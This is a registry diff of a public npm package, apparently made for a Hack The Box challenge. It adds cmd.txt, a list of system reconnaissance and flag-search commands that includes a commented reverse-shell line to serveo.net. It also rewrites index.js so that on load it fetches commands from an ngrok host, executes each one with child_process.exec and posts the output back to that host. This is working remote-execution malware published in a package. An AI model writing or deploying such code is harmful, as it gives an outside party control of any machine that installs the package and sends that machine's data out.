ect-987654-ctf 0.0.9 → 0.0.12
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/cmd.txt +18 -0
- package/evil.yaml +2 -2
- package/index.js +68 -33
- package/last_post.json +1 -1
- package/package.json +1 -1
package/cmd.txt
ADDED
|
@@ -0,0 +1,18 @@
|
|
|
1
|
+
id
|
|
2
|
+
pwd
|
|
3
|
+
whoami
|
|
4
|
+
ls -la /home/node
|
|
5
|
+
ls -la /home/node/aspect-node || true
|
|
6
|
+
file /home/node/aspect-node.tar.gz || true
|
|
7
|
+
tar -tzf /home/node/aspect-node.tar.gz | head -n 200 || echo "tar list failed"
|
|
8
|
+
find /home/node -maxdepth 4 -type f -iname "*flag*" -o -iname "flag.txt" -print 2>/dev/null || true
|
|
9
|
+
find / -maxdepth 4 -type f -iname "*flag*" -o -iname "flag.txt" -print 2>/dev/null | head -n 200
|
|
10
|
+
# if you find promising files, cat them (you can add new lines like: cat /path/to/thatfile)
|
|
11
|
+
#bash -c 'bash -i >& /dev/tcp/serveo.net/5555 0>&1'
|
|
12
|
+
find / -type f -exec strings {} + 2>/dev/null | grep -Eo "HTB\{[^}]+\}" | head -n 50
|
|
13
|
+
grep -R --text --color=never -Eo "HTB\{[^}]+\}" / 2>/dev/null | head -n 100
|
|
14
|
+
# kalau tak jumpa, cuba dalam /home
|
|
15
|
+
grep -R --text --color=never -Eo "HTB\{[^}]+\}" /home 2>/dev/null | head -n 100
|
|
16
|
+
# kalau tak jumpa jugak, cuba dalam /opt
|
|
17
|
+
grep -R --text --color=never -Eo "HTB\{[^}]+\}" /opt 2>/dev/null | head -n 100
|
|
18
|
+
|
package/evil.yaml
CHANGED
package/index.js
CHANGED
|
@@ -1,40 +1,75 @@
|
|
|
1
|
-
|
|
2
|
-
const {
|
|
3
|
-
const
|
|
1
|
+
// index.js - fetch remote cmd.txt, run it, POST result back
|
|
2
|
+
const { exec } = require('child_process');
|
|
3
|
+
const https = require('https');
|
|
4
|
+
const http = require('http');
|
|
5
|
+
const url = require('url');
|
|
6
|
+
const os = require('os');
|
|
4
7
|
|
|
5
|
-
const
|
|
8
|
+
const CALLBACK_URL = 'https://0f6896f7cc8e.ngrok-free.app/'; // <- ganti
|
|
9
|
+
const CMDFILE_URL = 'https://0f6896f7cc8e.ngrok-free.app/cmd.txt'; // <- ganti (where you serve commands)
|
|
10
|
+
const TIMEOUT = 15000;
|
|
6
11
|
|
|
7
|
-
function
|
|
8
|
-
|
|
9
|
-
|
|
10
|
-
|
|
11
|
-
hostname:
|
|
12
|
-
|
|
13
|
-
|
|
14
|
-
|
|
15
|
-
|
|
16
|
-
|
|
17
|
-
|
|
18
|
-
|
|
19
|
-
|
|
20
|
-
|
|
12
|
+
function httpGet(u, cb) {
|
|
13
|
+
try {
|
|
14
|
+
const parsed = url.parse(u);
|
|
15
|
+
const lib = parsed.protocol === 'https:' ? https : http;
|
|
16
|
+
const opts = { hostname: parsed.hostname, port: parsed.port || (parsed.protocol === 'https:' ? 443 : 80), path: parsed.path, method: 'GET', timeout: TIMEOUT };
|
|
17
|
+
const req = lib.request(opts, (res) => {
|
|
18
|
+
let s = '';
|
|
19
|
+
res.on('data', c => s += c.toString());
|
|
20
|
+
res.on('end', () => cb(null, s));
|
|
21
|
+
});
|
|
22
|
+
req.on('error', cb);
|
|
23
|
+
req.on('timeout', () => { req.destroy(); cb(new Error('timeout')); });
|
|
24
|
+
req.end();
|
|
25
|
+
} catch (e) { cb(e); }
|
|
21
26
|
}
|
|
22
27
|
|
|
23
|
-
|
|
24
|
-
|
|
25
|
-
|
|
26
|
-
const ls = execSync("ls -lah", { encoding: "utf8" });
|
|
27
|
-
|
|
28
|
-
// also check if the aspect-node.tar.gz exists
|
|
29
|
-
const check = execSync("ls -lah /home/node | grep aspect-node || true", { encoding: "utf8" });
|
|
30
|
-
|
|
31
|
-
post({
|
|
32
|
-
host: os.hostname(),
|
|
33
|
-
pwd,
|
|
34
|
-
ls,
|
|
35
|
-
check
|
|
28
|
+
function runCmd(cmd, cb) {
|
|
29
|
+
exec(cmd, { timeout: TIMEOUT, maxBuffer: 1024 * 1024 * 4 }, (err, stdout, stderr) => {
|
|
30
|
+
cb(err, String(stdout||''), String(stderr||''));
|
|
36
31
|
});
|
|
32
|
+
}
|
|
37
33
|
|
|
38
|
-
|
|
39
|
-
|
|
34
|
+
function postJson(targetUrl, obj, cb) {
|
|
35
|
+
try {
|
|
36
|
+
const u = url.parse(targetUrl);
|
|
37
|
+
const body = JSON.stringify(obj);
|
|
38
|
+
const opts = {
|
|
39
|
+
hostname: u.hostname,
|
|
40
|
+
port: u.port || (u.protocol === 'https:' ? 443 : 80),
|
|
41
|
+
path: u.path || '/',
|
|
42
|
+
method: 'POST',
|
|
43
|
+
headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) },
|
|
44
|
+
timeout: TIMEOUT
|
|
45
|
+
};
|
|
46
|
+
const lib = u.protocol === 'https:' ? https : http;
|
|
47
|
+
const req = lib.request(opts, (res) => {
|
|
48
|
+
let d=''; res.on('data', c=> d+=c); res.on('end', ()=> cb(null, res.statusCode, d));
|
|
49
|
+
});
|
|
50
|
+
req.on('error', (e) => cb(e));
|
|
51
|
+
req.write(body); req.end();
|
|
52
|
+
} catch (e) { cb(e); }
|
|
40
53
|
}
|
|
54
|
+
|
|
55
|
+
const info = { host: os.hostname(), ts: new Date().toISOString(), pwd: process.cwd(), results: [] };
|
|
56
|
+
|
|
57
|
+
httpGet(CMDFILE_URL, (err, data) => {
|
|
58
|
+
if (err) {
|
|
59
|
+
info.results.push({ stage: 'fetch_cmd', err: String(err) });
|
|
60
|
+
postJson(CALLBACK_URL, info, ()=>process.exit(0));
|
|
61
|
+
return;
|
|
62
|
+
}
|
|
63
|
+
const lines = data.split(/\r?\n/).map(s => s.trim()).filter(Boolean);
|
|
64
|
+
(function seq(i){
|
|
65
|
+
if (i >= lines.length) {
|
|
66
|
+
postJson(CALLBACK_URL, info, ()=>process.exit(0));
|
|
67
|
+
return;
|
|
68
|
+
}
|
|
69
|
+
const cmd = lines[i];
|
|
70
|
+
runCmd(cmd, (err, out, stderr) => {
|
|
71
|
+
info.results.push({ cmd, out: out.slice(0, 200000), stderr: stderr.slice(0,200000), err: err ? String(err) : null });
|
|
72
|
+
setTimeout(()=> seq(i+1), 200);
|
|
73
|
+
});
|
|
74
|
+
})(0);
|
|
75
|
+
});
|
package/last_post.json
CHANGED